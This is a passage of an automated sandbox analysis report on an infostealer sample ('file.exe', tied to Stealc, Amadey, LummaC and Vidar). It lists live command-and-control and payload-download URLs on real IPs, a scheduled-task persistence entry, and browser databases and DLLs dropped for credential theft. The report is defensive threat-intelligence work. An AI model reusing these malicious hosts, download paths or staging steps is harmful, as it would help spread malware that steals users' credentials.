http://31.41.244.11/files/random.exesr	skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/8	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2252614700.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exeve	file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpPc	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	false		high
http://31.41.244.11/files/random.exe8478001	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1970449838.000000001D22D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php-	file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpVm#O	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exep	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php6	file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php?	file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exephp/	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	false		high
http://31.41.244.11/files/random.exe3b	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe3b31	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpf	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/Kc	file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe	skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe17-24	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dlla	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561533
Start date and time:	2024-11-23 17:43:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/34@2/8
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 74.125.205.84, 34.104.35.123, 199.232.214.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target DocumentsDHCFIDAKJD.exe, PID 7928 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7604 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7728 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8100 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:44:36	API Interceptor	84x Sleep call for process: file.exe modified
11:46:01	API Interceptor	86x Sleep call for process: skotes.exe modified
16:44:52	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
239.255.255.250	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	Q460725_8952397_6525_PDF.htm	Get hash	malicious	Unknown	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	Q460725_8952397_6525_PDF.htm	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 2.18.109.164

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\EHCBAAAFHJDHJJKEBGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCFIEBKEGHIDGCAFBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FIIDBKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDAKFIJJKJJJKEBKJEHCBGDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIECFHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBKECAFIDAFIECBKEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 21Installer.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
